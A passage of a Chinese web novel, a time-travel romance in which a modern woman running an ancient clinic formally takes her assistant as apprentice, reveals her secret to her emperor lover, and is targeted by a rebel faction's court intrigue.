她真心想教会小桃,她是她心中认可的徒弟人选,心性方面一定会更严格对待。思想不同步勉强不了的,所谓道不同不相与谋,她不想和小桃因为三观不合日后分歧争执,徒伤感情。
苏南星和白延琅的悲剧,同样如此。
这样的悲剧,她永远不想重蹈覆辙。
小桃哪里品得出她亲爱的苏姑娘千回百转的心思,得到放风的允诺,早一溜烟跑到前厅巡视医馆去了。
今日回春堂来就诊的人也很多呢。
她多忙一会儿,苏姑娘就可以多歇一会儿,完美!
“小桃大夫,你来的正好,帮我看看这颗牙齿,对,就是右边最里面的那颗…”
“小桃师姐,去西域的商队来人询问,他家要的那批牙膏、药粉备好了吗?他们今天赶着出城,急着带走呢。”
……
小桃一样样理顺办好,她的身上,几乎看不出曾经粗糙直白、没什么见识显得天真愚蠢的农家女气质了。
她成了曾经自己最羡慕的,样样精通样样都行的苏姑娘的样子。
她的师父。
做梦她都要笑出声好吧,整个家里,也就她撞了大运,活出了个人样。
她自小不是个讨喜的孩子,家里也只有她娘一个人护着她。
自从齐大郎定亲又退亲,她在家里更是艰难。
兄长嫂子变成试图撕咬她血肉的野兽,贪心昧下齐家定金礼,气病张大娘,差点断送她一生。
苏姑娘好心借银,差点又落入算计陷阱,好在吉人天相,逢凶化吉。
她跟随苏姑娘,用心学、拼命学,现在成了曾经自己向往的样子。可惜她的家中亲缘破碎,始终没有和好如初。
她娘亲自从上次气病,身体一直不太好,兄嫂虎视眈眈,试图给她这个更有价值的妹子安排一门亲事,获取钱财。
她想改户籍,从原来的家里脱离。她想一直跟着苏姑娘,听她的话,治病救人,做出一番事业。
苏颜妍也是独女,她成功驱逐白延琅掌家做主,是许多闺阁中人的榜样。
回春堂如日中天,力压城中众多医馆,她们别提多么高兴。
苏颜妍就在那里,她就像一轮明月,辉光倾泻,照亮女子选择的另一条路途。
女子可以凭本事谋生,她们不必非得依靠一个男人。
有了目标,有了另一条路,总有后来者鼓足勇气,去选择,去追寻。
就比如她宋小桃,大字不识一个的农家女,现如今出门,也是别人口中的“大夫”啦。
她才不要任家里那对坏了心肠的兄嫂摆布,相亲嫁人,嫁妆贴补娘家,下半辈子把人抵在婆家当牛做马,相夫教子。
苏姑娘是她的师父,她有家、有靠山,能自己凭本事赚钱养活自己,她就要单开女户,脱离她原生家庭!
……
苏颜妍再次大清早被吵着闹着叫起,这次不是病患,而是俩熟人。
小桃的兄嫂。
睡眠不足,低气压沉沉,苏颜妍打着哈欠去见他们,一张俏脸冷得吓人。
小桃现在是她尽心培养的接班人,不看僧面看佛面,苏颜妍咽下祖安语录,尽量平板地问:“找我有什么事?”
有话快说有屁快放,她还要回去补觉!
小桃和她哥长得并不相似,宋大郎长了张憨厚老实的脸,他低头躲开苏颜妍的注视,支支吾吾说不上话来。
旁边的精瘦妇人狠狠剜了他一眼,掐着嗓子细声细气地说道:“苏大夫,本来不想打扰你,小桃这丫头老大不小,她躲着不回家,我们不得已才上门找人的。”
“你要找小桃,不去回春堂,到我家喊什么。”苏颜妍拉着脸,半点没给她留面子。
妇人捏着帕子往地上一坐,拍打着地面哭诉起来:“小桃那丫头就听你的话,她打从上次定亲没成,一头扎在你家医馆,三天两头见不着人。
家里给她相看人家,她扬言要分家出户!
我们家妹子打小敦厚文静,跟着你学了些什么呀变得左了性情!
苏大夫你行行好,让我家小妹回家安心待嫁吧,别勾着她当免费小工了。”
一番话槽多无口,苏颜妍瞌睡虫都气跑了,这会儿精神抖擞,满身锐气。
她利落拒绝:“小桃是医馆的工作人员,别说是你,就是张大娘来要人,我都不会放手。
上次收了齐家的礼金,退亲时你们不是说花完了吗,这会儿凑够银钱来还钱吗?”
宋大郎嗫嚅道:“我们哪里有闲钱。”
“没钱?”苏颜妍不屑道:“没钱你们准备代替小桃做活还钱?你们笨手笨脚的,我们医馆可不收。欠债还钱天经地义,小桃借的银钱一日没还清,你们最好别开口。”
她横了这俩怂货一眼,让护卫将他们扫地出门。
小桃也是命苦,摊上这种人当兄嫂,赶着把自家妹子卖个好价钱,敲骨吸髓呢。
不过有她苏颜妍在,这种蚂蝗别想沾半点福气,老老实实圆润离开她的视线吧。
苏颜妍越想越气,怎么会有这种人,吞食亲人的血肉,无视酸痛苦泪,这种人,怎么能算得上是亲人!
小桃就该从她那个家离开,离人渣远远的!
萧景琮,不,不能让他参与这件事。
苏颜妍本能想到萧景琮,又快速把他从脑海中消除。
小桃的兄嫂渣归渣,罪不至死。倘若萧景琮再来一次物理灭杀大法,小桃崩不崩溃不好说,张大娘绝对活不下去。
苏颜妍把自己的牙齿上下咬合,发出嘎达嘎达的声音。
她去找小桃,拉着她严肃地说了早上发生的事,末了补充道:“你兄嫂起了心要算计你,咱们哪能天天提着心防备,累也累死了。小桃,把回春堂当自己家吧,这里你永远自由,是安全的。”
小桃哽咽道:“呜呜呜苏姑娘,我还没来得及告诉你,我已经找官府单开女户,自己把户籍从我娘那里转出来了。我兄嫂还不知道,他们别想从我身上占两回便宜。我可是你的徒弟,不会给你丢脸的。”
苏颜妍瞠目结舌,小桃憨憨的样子风一样远去,她再一次被她干脆利落的行动力震惊。
说不嫁人就不嫁,说独立就单开女户,这可是土生土长的古代姑娘,小桃,厉害啊。
“苏姑娘,我能把户籍落到医馆里吗?或者咱们定个契,我这辈子就打算在回春堂当你的助手医师,你收留我吧。”小桃粘着她,双眼晶亮,满目都是希望的光。
苏颜妍痛快点头,应诺:“求之不得。”
小桃已经展翅,她愿做托举她的风,送她飞得更高、更远。
……
回春堂。
李真和李善久违地回到熟悉的诊室,环视周围变了模样、充满苏颜妍风格的摆设,眼中有不加掩饰的好奇与钦佩。
自从回春堂改革,他们俩就转移到另一处地址,与这边互相守望。
常规治疗病人会去新医馆,遇到牙疾,他们会安排小厮引路,送到苏颜妍这边。
双方互有默契,配合打得好,都是心中有主意的人,分开也能撑起自己管理的地方。李真李善两人,还是改革后第一次回来。
他们这次是作为第三方人员,代表岐黄谷来见证小桃正式拜入苏颜妍门中。
他们也是看着小桃从一开始的生疏,到如今游刃有余,成为苏颜妍的得力助手。
李真李善私底下说起来,对苏颜妍是万分佩服。
少有人能无私
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将知识与技能慷慨分享,苏颜妍虽然不是岐黄谷出身,她的这种精神完美契合岐黄谷有教无类的宗旨。
就算不是碍于萧景琮皇权威压,他们也愿意与苏颜妍交好,帮她见证,共同进步。
今日天光大好,回春堂热热闹闹,每个人脸上都洋溢着笑。
学徒们早就把前厅重新布置,正堂悬挂着“医者仁心”与“悬壶济世”。红木桌椅古朴大气,药香袅袅中,平添一股威严肃正。
可,苏颜妍端坐在这里,半点不显得柔软娇小。她浑身气势凛然正气,一副掌权气盛的样子。
满室学徒皆屏息凝神,躬身行礼:“苏当家。”
苏夫人坐在旁边,看着众人对苏颜妍恭谨的样子,有喜有忧,百般滋味涌上心头。
她仿佛看到幼小的女儿稚嫩欢快的笑着,绕膝玩闹;一晃又是少女豆蔻含羞撒娇,贴心陪伴;就一眨眼,如梦初醒,她如同她的父亲一般,成为众人尊敬的对象。
她看着小桃一身正装,三跪九叩,敬茶改口。
她的女儿,看上去比小桃都小,板起脸来,气势压的人半分小觑之心都生不出。
苏夫人自苏父失踪后,一直悬吊着的心,忽就安稳下来。
她不再幻想丈夫日后回来了。她所有的不安、恐惧、忧心、焦虑,通通烟消云散。
至此,她真正如尊敬丈夫一般,尊敬她的女儿。如同顺从丈夫一般,顺从苏颜妍的所思所想。
如果说观礼后的苏夫人像是吃了定心丸,同样看着苏颜妍光彩熠熠的萧景琮,却是百爪挠心。
他多想苏颜妍清亮的眼眸中,映出的是他一人的身影!
“你看看我,多看看我,只看我。”
众人瞩目中,他热烈地注视星光般的心上人,心火燎原,烧得旺盛。
他直勾勾的眼神半点不掩饰火热,苏颜妍很快感受到这股灼热的视线,冲他投来淡淡的一瞥。
水滴落入火海,无声气化。
她落入了一双盛满渴求的眼睛。
拜师礼已成,苏颜妍无心应酬,小桃自觉出面,顶在前头拉拢交际,撑住场子。
苏颜妍顺势退到后厅,在苏夫人含笑的视线中,不太好意思地和萧景琮悄悄离开。
又是一次伪装出行,这次他们俩轻车熟路,很快离开医馆,乘车驶出京城。
京郊砚山,无人谷,清幽处,一泊潭水清澈如宝石。
空旷清净的大自然向来洗涤人心。盛夏草木繁茂,一切都是热闹的。蝉声鸟鸣,风声水声,草木飒飒摇曳声,苏颜妍只觉自己是一件沾染灰尘的袍服,现在被自然大手冲泡抖动,冲走尘埃污垢,干干净净晾晒在太阳下。
她久违变回她自己,没有身份,没有背负责任,轻松自由自在的自我。
仿佛她没有穿越,仍在校园,忙里偷闲躺在花坛草坪,放空脑子静静发呆。
萧景琮窸窸祟祟凑过来,贴着她排排倚在树干上,侧头盯着她。鼻翼呼出热气,扑在她脸颊,像狗狗扑过来给了她一个亲亲。
苏颜妍半睁开眼睛看他,长长的睫毛呼扇呼扇,犹如蝴蝶震动翅膀。
她这会儿不设心防,什么嗜血君王、铁血狂徒都从她的脑子里消失,只留下简单的一个人,平等的平和的人。
她声音淡淡的,倦倦的,道:“有话就说。”
萧景琮单手撑地,另一只探过去,帮她拢了拢散开的发。他唇边挂着一个浅浅的笑,声音低醇清亮:“真想一直都这样。”
他慢慢地、一字一句道:“医馆忙完,多陪陪我吧。”
他说:“兄长要回安南,我得回宫了。”
“像现在这样,陪着我。”
苏颜妍看了他半晌,像淡淡的风、倦倦的云,轻轻飘飘点头道:“好。”
42. 这是一个好故事
一个人会本能地向往群体,希望自己获得认可、支持。
苏颜妍觉得很累,她不害怕为前来医馆就诊的患者看病,这些劳动也累不到她。
她觉得疲倦,是她的灵魂穿越时空,根本没办法找到同频的人。
曾经的萧景琮给过她安全感,这份安全感构筑的城堡又被他亲手推倒。
她可以教授小桃医学知识,引导她成长,与小桃说一些女孩子私密的小话。可,小桃没办法让她得到心灵的平静。
苏颜妍这才意识到,原来,让她放松、主动融入这个世界的,唯有萧景琮一人。
这才是她点头,同意萧景琮带她出门的原由。
萧景琮得了她的允诺,倾身凑到她跟前,眉眼深情,脸上挂着满足的笑。
苏颜妍视线正好对着他的下半张脸,她这会儿心思百转千回,视线触到萧景琮俊朗的脸,活跃的思绪启动联想:“真牛的一张脸,萧景琮的嘴居然是接吻唇型吗?怪不得那样软…”
“魂兮,归来……”萧景琮低低出声,两人凑得近,他湿热的气息如一条小蛇,扑在苏颜妍的脸上。
苏颜妍:“……”
她果断伸手盖住那张俊脸,直腰,手臂用力,将对方推隔开一臂距离。
萧景琮顺从她的力道,乖乖后退。
倏地,苏颜妍一顿。
有一条湿软温舌舔舐了她的手心,痒痒的。她一下子向后缩手,被舔过的手心濡湿一片,她蜷起手指,指节绷紧,葱白里透着润红血色,仿佛一朵吸食日精月华的花。
她的手原是撑着萧景琮推挡,手一收回,萧景琮便顺势向她收手的位置贴近,仅与她隔了一拳,单手从她颈侧环过,虚虚将她抱拢。
他的长发垂下一丝,落在苏颜妍脸颊边,风轻轻拂过,这丝发如同有了生命,温柔摩挲她的脸。
萧景琮伸手拨开这缕发丝,将它别在耳后。
他含笑垂眸,眼光一动,从她颈间挑出一条丝线链结,线坠不是金玉,而是一个刺绣小包。
鼓鼓的,圆润精巧。
他手指捻起这个蚕豆大小的线坠,指腹捻动,里面坚固硬物硌的手生疼。
他笑着吐出气音:“信物。”
那是苏颜妍初见时帮他拔出的牙齿。
苏颜妍指尖抵住他额头,将这只兴奋起来的“狗狗”推得远一些。
萧景琮没有得到心上人的亲亲,不甘地重换话题:“说起来我们也是命中注定,当时我居然就去了你那里。这样年轻,技术了得。外人传言菩萨教的你本事哦,难不成你真的是菩萨座下的小仙子?”
苏颜妍硬是从他的夸夸里,听出来试探。
她抿紧唇,赌气似的把萧景琮腮边软肉揪成一坨捏捏。
她讨厌胡思乱想的自己。
心中涌动的话,被紧紧抿住的唇封在肚腹,一句也蹦不出来。
只有说不清、数不清的消极、恐惧、暴躁、厌倦,潮水般涌出,纠缠成此刻阳光下紧紧缠贴在她身后的黝黑影子。
萧景琮“哎呦哎呦”怪叫几声,反手扼紧她的手,把带着红白指印的脸贴到她的脸边。
他低低沉沉抱怨:“妍娘好狠心,菩萨知道,都要怪罪你铁石心肠。”
“那让菩萨把我抓走,免你受罪,可好?”
“咿呀呀,万万不可!”萧景琮拖着戏腔:“我就喜欢小娘子你这样的泼辣。”
他的手和脸传递的温度这样热,贴在耳边响起的声音这样温情缱绻,他整个变成轻飘飘的鸿毛,却是压倒苏颜妍的最后一根稻草。
苏颜妍因他滥杀漠视生命产生的一切惊惧反感,惊觉自己已经进入陌生世界的恐慌紧绷,勉强自己忍耐克制的消极烦躁……一片片情绪雪花落下、积压,于此刻崩散滑落。
想要交流的欲望压倒一切,她重重喘息几声,回抱住萧景琮,不让他抬头。
“菩萨没有教过我,她把我,送往另一个世界。”
“那里,女人和男人权利是平等的,能入学,学习各种知识,继承父母财产。我在那里学习,长大……”
“忽然一天,我救人落水,再醒来,就是回春堂苏大夫的独女。父亲失踪,母亲病弱,白延琅咄咄逼人,等着抢走家业。你说,我的经历哪边是真实的?哪边是在梦中?”
“就像庄周一样,是他梦到了蝴蝶,还是蝴蝶梦到了他?”
苏颜妍抱着萧景琮,就像溺水的人抱着浮木。
“你说,我是周庄,还是蝶?”
而你,又喜欢的是哪个‘苏颜妍’?
萧景琮没有动,乖乖保持她搂抱的姿势。他的声音轻快又坚定,在她耳边喃喃:“我不知道你是蝴蝶,还是周庄。我只能认定,你在我眼前,在我怀中。”
“如果你是蝴蝶,请留下;如果你是庄周,请醒来。请你感受我的怀抱,我的心跳。我真实,你真实。妍娘,请你与我长相守。”
“你这回答,未免有些滑头。”苏颜妍把心中最深的秘密吐出,只觉得轻松。
她倾空情绪积压,又能感受到快乐,这让她飘飘然,好像方才畅饮一番,酒精麻醉了她的神经。
她振作起来,恢复原来的坐姿,推开萧景琮,半靠在树干上。
光从树的缝隙穿过,在她脸上眼中映出点点亮。
“你身为皇帝,有什么故事?我想听你说。”
萧景琮席地而坐,捡起一小节枯枝,在指尖耍了几个花式。
他见苏颜妍情绪平复,屈指把枯枝弹射出去。
他淡淡地说:“我的前尘倒霉透顶,大概是否极泰来,才能转运遇见你。”
“以前我说过我与义兄的事,我这个皇帝,本就是勉强得来。若不是父皇当时只有我一个独子,哼。”
“父皇妃嫔若干,只我母后有孕,他因子嗣娶她;母后倾心父皇,奈何真心向来求不得。他们没有人真心想要我。我只是一个稳固江山的筹码,一个谋求私情的工具。”
“不过,”他话音一转,目光一寸寸拂过苏颜妍的脸:“因祸得福,经历过这些,我总算遇到你,也就知足了。”
他明明一身潇洒俊公子样,语气却软巴巴的,苏颜妍被他逗笑。
顺从他的心意,他们接吻。
缱绻一番,双双躺在草地上。炽烈的太阳慷慨发着光和热,把他们俩晒成一对懒洋洋的长条形状。
他们牵着手,苏颜妍挠了挠对方的手心:“你会变得专权专制吗?像历代皇帝那样,某一刻对我生杀予夺。”
萧景琮绞紧手指,牵拉着她轻轻晃动:“我永远不会这样做。我
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绝不会成为第二个父亲。”
“辜负一颗真心,让赤诚的期待在无望等待中消耗殆尽,像谋杀我母后那样。”
“你知道吗?我母后原本也是位像你一般的女子。她是独女,有偌大的家业,无人可依。”
“富可敌国的家业是诱饵,引来垂涎的饿狼。她没有硬抗的勇气,嫁给我的父皇,祈望依仗丈夫保全财产。”
“她的万贯家财换来一个孩子。”
“多可笑啊,祈求保全的,未能如愿。不被期待的孩子,断了所有能出口控诉的路。毕竟她生下的,是当年皇室中唯一的子嗣呢。”
“后来呢?”苏颜妍问。
随着萧景琮的诉说,她的眼前仿佛看见这位宫中丽人的剪影——寂寞、悲伤、孤独、绝望。
“后来,她终于明白,她识错了人心。她想要谋求的,永远、永远,也不会得到。想通这一点后,她就活不下去了。”
萧景琮忽的笑了一声,自嘲地说:“而我,在这个故事里,连个角色都算不上。”
“我是人形砝码,是意外。母亲在时,我的父亲警惕我。母亲去了,警惕变成了嫌弃,再没人把我当个人啦。”
“太子,皇帝,名号称呼就像一件件衣裳而已。”
他转头,专注看着她,笑着说:“是不是特别无聊的故事?”
苏颜妍与他对视,澄明的眼中滑出晶莹泪珠,无声划过眼角、鬓角,消失在漆黑发梢。
萧景琮便不再笑,他举袖擦拭那泪痕,无措地发现,怎么也擦不干净。
直到苏颜妍眼角脸颊嫣红一片,他怔怔停手,怕再擦拭下去,这张芙蓉脸会出现擦伤。
他手握成拳,抵在自己心口。胸膛中,那颗不安分的心,赤兔般躁动,跳个不停。跳得他几乎产生幻觉,觉得这颗心要从嘴里跳出,蹦着跳着,奔到苏颜妍身上去。
那双泪眼还在下着痛雨,一滴一滴灼伤他。
萧景琮如获点化,捧着苏颜妍的脸,低头,唇印上那双眼睛。
咸咸的,原来眼泪是这个味道。
他想,他不要再看到这双眼睛流泪。
……
有情人的世界小小,只容得下贴心的两个人。
离开这对有情人的幽谷一隅,京城中,暗潮涌动,流言四起。
这流言,还要从回春堂传起。
苏颜妍改革医馆,开放珍贵的知识,无偿教授给向学的人。
平民百姓如小桃,大龄女子,都可以学足本领,独立出户,养活自己。
放在赤脚用尽全力奔跑劳作才能勉强糊口度日的人面前,这条路,是多大的诱惑。
“听说了吗?回春堂是苏神医,治牙本事好,谁去学她都教。”
“妙手回春,有教无类…”
“仙子般的人物!”
赞誉向往背后,拖着阴暗的影子。
“苏颜妍这丫头数次坏我好事。她身边纵有人护佑,这样特立独行的性子,哼!潜伏进去,静待时机。”
“白延琅怎么样了?”
“荧惑从乱葬岗把他救回来,他满身伤痕。想来是他机灵,吞了假死药,这才从牢狱里脱身。这会儿人已经醒了,从他嘴里,倒是掏出一个消息——”
“当今圣上,不在宫中!”
43. 树欲静,风不止
苏颜妍医馆差点出乱子的当天。
白延琅费力从林有仁手中,调用几个得力助手,买通一些流民,安排进病患人群中。
他自岐黄谷动手后,一直被萧景琮压着追捕。埋名隐姓躲藏多日,心中积攒的怨愤,远超从前。
本想着制造点混乱,趁机拖苏颜妍下水,让她吃点苦。
事又没成。
坏他好事的仍旧是萧景琮。
这次比上次还严重,他被抓住了。
白延琅吃过萧景琮的亏,岐黄谷那一脚,他肋骨断了三根。伤养了许久,现在骨头都还隐隐作痛。
暗卫营的大牢,堪比炼狱。白延琅吃过一轮严刑拷打,该说的、不该说的,都被刮了个干净。
萧景琮没打算留他活口,暗卫心知肚明,待他如一块腐肉。
白延琅算计苏颜妍许久,并不是蠢人,转念就知道这苗头不对,偷偷咽下了假死药。
这药还是当年在回春堂,从苏南星那里得来的。
他靠着这颗药丸,从阎王手里捡了条命。
从乱葬岗将他救回的,是一个叫做“荧惑”的组织。他逃亡时和他们搭上的线,只知道他们在追查“少主”的血脉。
白延琅顺势煽风点火,把他们引进京城,暗暗算计把这把火烧到苏颜妍身上去。
幸亏他足够小心谨慎。
白延琅咳喘几声,吐出一口血。周身剧痛如刀剔骨,他挣扎坐起,血和汗混成一团,将暗色被褥洇染斑驳,狼狈不堪。
见他醒来,屋中黑衣蒙面人轻盈踱步,离他三臂远时站定。
“白大夫,醒了就详细说说,圣上不在宫中,这消息你是从哪里得来的?难不成回春堂,你说过的那个苏姓女子,真的和当今有瓜葛?”
白延琅又咳了一声,嘶哑声道:“我伤的这样重,左使却只顾从我嘴里掏情报,真是无情。”
黑衣左使任他抱怨,并不吭声。
白延琅撑着床板,慢慢把身体靠在床柜,喘息着说:“你们也看到了,我回京布局,动作不可谓不迅速。林有仁背后有谁,你们心中有数。这样突发算计,苏颜妍毫发无损。我收尾几乎不留痕迹,换成贵组织也没办法从偌大城中找到我,苏颜妍身边那人却可以做到。”
“能不动声色监察全城,你猜,谁有这个本事。”
“关押我的地牢,血腥味很重。又有谁能在京城重地,保留这样要命的据点。左使,我是一个大夫,见过的人形形色色,我能肯定,那些人,和宫中脱不了关系。”
“你们盯着回春堂,盯着苏颜妍,不会失望的。”
黑衣人冷冷审视着他,似乎在斟酌。
白延琅满是癫狂怨恨,说出的话句句发自肺腑。又一阵咳,他喘息抬头,屋中已经没有那道黑色影子。
白延琅冷冷的咧出带着血腥味的笑。
济世堂,密室。
林有仁身上全无医者仁慈的气质,圆润的脸上,表情淡淡,眼中如箭,射的对面跪在地上的人瑟瑟发抖。
他端起茶盏,竖起杯盖,轻轻拨了拨水面浮叶,声音低却冷:“白延琅已经是枚废棋,不能再用。安南王系留下的人手,必须留着接触当今,不能在不必要的情况下折损。”
跪在地上的林玉珠发着抖,闻言抬头,不甘心地道:“父亲,接触圣上的计划需要咱们联合京中医馆,没有白延琅,回春堂我们没有理由插手。您再想一想,是不是还有别的法子,咱们已经投进那么多精力,现在放弃是不是太……”
“短视,愚蠢!”林有仁把茶杯重重掷出,摔碎在林玉珠面前。杯盏碎片四溅,其中一片划过林玉珠手背,血珠沁出,流出一道残痕。
林有仁顿了顿,起身背手,烦躁踱步:“玉珠,别把私怨带进大计中。你在白延琅面前装傻充愣,不要真当自己是愚钝的妇人。当年安南王府安排的那场掉脑袋的祸事,如今他们准备掀出来了。”
“你别掺和,离白延琅远些。救他的是安南城里出了名难缠的荧惑组织,小心他们顺藤摸瓜,坏了咱们的事。”
林玉珠指甲嵌入手心,压出深深印痕。
“苏颜妍她身边那个男人,必定身份有疑!父亲,事涉皇家秘闻,我们完全可以利用这点,连同回春堂一起一网打尽。您信我,这次我一定能成的!”
林有仁没应声,头也不回离开密室。
林玉珠嘴角勾起,她知道,父亲默认她的提议了。
“苏颜妍,这次看你运道是不是还那么强,我不会放过你的。”
……
城郊幽谷,鹰隼长啼划破小情侣甜蜜结界。
萧景琮一跃而起,吹哨唤来盘旋的信使。
苏颜妍拍干净身上的草屑,见他三两下从鹰隼脚环取出信筒,俊脸布满阴云。
她一凑近,就被萧景琮圈在怀中,她推推他:“谁的信,有急事?”
萧景琮随手把纸条递给她,道:“催我回宫,安南逆党又死灰复燃,兴风作浪了。”
苏颜妍定睛一看,纸条小字简短直接:“安南逆党现,危,速归。兄”
萧景琮的义兄曾是摄政王,让这种沉稳人物都忍不住催促,看来局势确实紧张。
苏颜妍听小桃说起过安南逆党,还有一次被陷害的体验,如今又接触他们的信息,不免好奇心起。
回程路上,萧景琮便给她细细道来:“安南王一系早就被斩草除根,当年王世子在京中,图谋不轨安插了些许探子。父皇走得突然,义兄待我登基便回安南震慑宵小。留在京中这些人,成不了气候,也就只能传些风言风语,给我们泼脏水。”
“兄长催我,必定是还有其他势力掺和,安南逆党准备搅浑了水好摸鱼。他们必不会如愿,我很快就会处理好,你安心等我。”
“上次就满城捉人,他们到底有多少人,怎么这样难抓。”
萧景琮揉开苏颜妍蹙起的眉头,柔声道:“躲在暗处的人,就像一窝蚂蚁。不必管他们有多少,断了他们的补给链,他们就活不下去。”
苏颜妍点点头。
……
这厢,林玉珠动用势力,到底找到了白延琅。
她比上一次更从容,比起白延琅零散收集的信息,她从安南王世子遗留的人脉网中,找出了更重磅的砝码——失踪多日的回春堂当家苏南星。
与白延琅会面后,她更是发现了一个惊人的秘密:安南王府二十多年前,曾在先皇后生产时,利用太医救诊,暗中将一位男婴带入宫中!
安南密探威胁父亲联合京城医馆,试图再次接近禁宫,他们当年肯定成功了,现在想要再次用相同的方式谋取利益!
林玉珠的心砰砰砰急促地跳,她被自己联想的推测惊得心肝
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胆一起颤。
这件事若成真,别说是苏颜妍,便是当今天子,也要对她低下头颅。
谋国啊,安南王府太疯狂!
……
浮生半日闲,重回医馆,苏颜妍如同充足了气,恢复往日神采。
兴冲冲巡视一周,上上下下挨个打完招呼,苏颜妍一头扎进工作的海洋。
萧景琮半点不觉得枯燥,跟在她身边,看她小小的身躯仿佛充满无限的力量,慷慨释放自己的能量。
苏颜妍研究工具,他就在旁边帮她画图纸;
苏颜妍捧着医书一点点融合古今知识,他就帮她铺纸研磨。
这俩人算是成了医馆里的奇景,惹得每个见到他们的人,都面红耳赤,眼神乱飞,低头忍笑。
苏夫人是其中最放肆的一个。苏夫人笑看女儿情投意合、琴瑟和鸣。
萧景琮用自己出众的表现,赢得未来丈母娘的认可。
纵使苏颜妍上次说自己暂时没打算定亲,她也不会愁的睡不着觉,忧心自己的女儿所托非人。
萧景琮这样殷勤体贴,怕是撵都撵不走,横看竖看都是良人。妍娘好眼光,相看的人选真真打着灯笼也难寻。
有时候,环境可以带给人着魔般的迷幻法力。
潜移默化是最高明的模具,不经意间,才发现,它定型的是坚如磐石的认知,想改都无从下手。
苏颜妍习惯萧景琮在身边,空气般无形无色,又不可或缺。
如果现在苏夫人询问,苏颜妍想,她是愿意嫁给萧景琮的。
自京郊幽谷回来,或许是说出一些压在心底的话,她总是会在不经意间,想起他,念起他。
好玩的是,每当这个时候,萧景琮也总是能突然出现,就像能读透她的心思一样。
就如同现在,她刚刚脑子里闪念他的影子,他就倚门含笑,闪现在她眼前。
她是知道萧景琮俊逸的,不知怎的,今晚的他格外“闪”。是华美袍服、精致挂饰的原因吗?那双眼,也太过含情,带着小钩子似的,让她有种浑身刺挠的感觉。
“小娘子,小生这厢有礼了。”萧景琮歪嘴冲她眨眨眼,潦草地行了个礼。
苏颜妍愣了愣,这是他第一次这样…这样…轻浮?油腻?总之怪怪的,简直就像另一个人……
她灵光一闪,试探地开口:“…袁因姑娘?”
“萧景琮”眼波流转,贴近探身挑起她的下巴,一股馨香先扑过来,他看苏颜妍神色笃定,嘿嘿一笑,捏着嗓子道:“好生聪明的小娘子,我扮成萧景琮,轻易可没有人能分辨得出来。”
苏颜妍:了不起,伪装大佬赛高。如果不是她主动ooc,单看外表,那可真的是天衣无缝。
她心思电转:袁因易容这样熟练,肯定不是第一次。萧景琮对她颇有忌惮,难不成,之前她利用易容,做过什么事情?
啧,皇室,好深的水!
“还是袁姑娘放水,你要是真要骗我,我也不会这样快发现。你扮成这幅模样,是发生什么事了吗?”
袁因点头,那张萧景琮的脸上,出现前所未有的郑重:“那小子脱不开身,你这里需要一个幌子,骗一下暗处的眼。我来顺便告诉你,有苏大夫的消息,你早做打算。”
苏颜妍愕然:“…苏大夫,我爹?”
失踪人口找到了?
44. 失踪人口回归,保真吗?
苏颜妍很久没关注过苏父了,现代失踪一个人尚且难以寻觅,放到没有摄像头、信息不发达的古代,失踪这件事约等于死亡。
她安慰苏夫人,只是给对方一个情感缓冲,减轻突发意外的心理冲击。
但,现在居然有苏父的消息?
保真吗?
她完全不敢在没确认之前,告诉苏夫人,免得平添失望。
“袁姐姐,这消息哪里得来的,能告诉我吗?”苏颜妍请她入座,殷勤地执壶沏茶,恭谨询问。
袁因顶着萧景琮的脸,言行却是不一样的洒脱,她没卖关子,直接说道:“最近安南逆党再起风波,晟玹在宫中,抓住了潜伏的探子。”
“拷问后有效信息,安南逆党密谋接触萧景琮,直言手中有他的把柄。好笑,什么把柄能威胁皇帝,这群人也是脑子被*糊住了。
他们声称抓到了二十多年前,先皇后专用的金太医后辈,也就是你爹苏南星。似乎从他口中获取了什么曾经的秘密,被捉的探子等级不够,只隐约知道这些。”
苏颜妍呆了呆,她迟疑道:“以前不曾听说过,父亲和宫中太医还有什么关系。”
她半路接手,原身爹和岐黄谷沾点关系这事,还是苏夫人后来说给她听的呢。宫中太医?听都没听过。
她这位失踪的爹,到底还有多少秘密,是打算过一段时间来震惊众人吗?洋葱圈成精的?
袁因并不奇怪,她继续说:“想来你父亲也知道事情牵连巨大风险,多一个人知晓就多一份危险,你母亲都未必知道,更何况是你。”
“这事冲着萧景琮那去的,安南逆党既然安排人入宫都要接触他,肯定是觉得见到他后会获得更多的利益。他得留在宫中,配合晟玹,直到将他们一网打尽。”
“那小子担心你,不好出现在宫外,免得走漏风声,给你带来危险。我扮成他的样子,陪在你身边,保护你的安全。也算个障眼法,别叫那些阴沟里的臭虫们,摸到这里来。”
她说着莞尔一笑,作出一副轻薄浪子样,搞怪道:“小娘子,在下不仅拳脚功夫了得,还略懂七十二般变化,留我在身边,你可甘愿?”
苏颜妍嘴唇微动,不等她说出话,袁因又低声堵住话头:“好妹子,给我一个面子,让我在这里玩会儿。姐姐易容超棒的,带你乔装出门,保你大开眼界,比你和萧景琮一起时都有趣。”
这人,怎么这样……
苏颜妍满腔犹疑都化为日头下的水渍,消失的无影无踪。她愉快点头,开启千变万化体验卡。
……
天元殿,议事堂。
萧景琮化身夏日的蝉,吱哇吱哇叫个不停。
“阿兄,让袁…大嫂出宫,这事很不妥当。她易容我的脸轻车熟路,你陪着她坐镇宫中才好。放她在外面,你放心的下?”
“苏姑娘不比她,热衷兴风作浪。没有你盯着她,小心她把天捅个窟窿。还是我去宫外陪着苏姑娘,你也多和大嫂处处。夫妻俩因为我分开,我于心不忍啊。”
“阿兄,大哥!你说句话呀!”
倘若从山里捉一只猴子放进天元殿,也就是萧景琮现在的表现了。
坐卧不安,上蹿下跳,围着萧晟玹团团转。
萧晟玹被他烦的只想踹他一脚。奈何这小子心眼全点在闪避上,蚊子似的在耳边嗡嗡嗡,偏偏打不到。
“阿因冰雪聪明,有她在你那位苏姑娘身边,比你靠谱一万倍。少蹲我这里耍嘴皮子,去按计划做事,早点把那些余孽连根拔起,我和阿因也能早些回安南。”
“大哥真是不厚道,没有兄弟爱,净想着当甩手掌柜。”萧景琮倒打一耙,无赖极了。
萧晟玹气得甩了一本折子:“比你强许多。满脑子只有浆糊和苏姑娘,当年就不该宠着你,就该让你自己多吃点苦头。”
“我吃得苦头还不算多?若不是大哥自己离开,我哪里需要这样苦苦坚持?”萧景琮被拘着出不去,一腔不豫全数使在兄长身上,只差打滚撒泼了。
“哦,你管把朝政一扔,易容跑到宫外陪美人叫做苦苦坚持?真是好辛苦呢,用不用我帮你把骨头松一松,皮紧一紧?”兄长半点不吃他那套,无情戳破他的胡言乱语。
“是大哥先做了好榜样,就许你追着袁因跑,不许我有样学样么?”不管,他就要闹。
“我看你就是欠揍!”萧晟玹撸起袖子,擒住他开始动手。
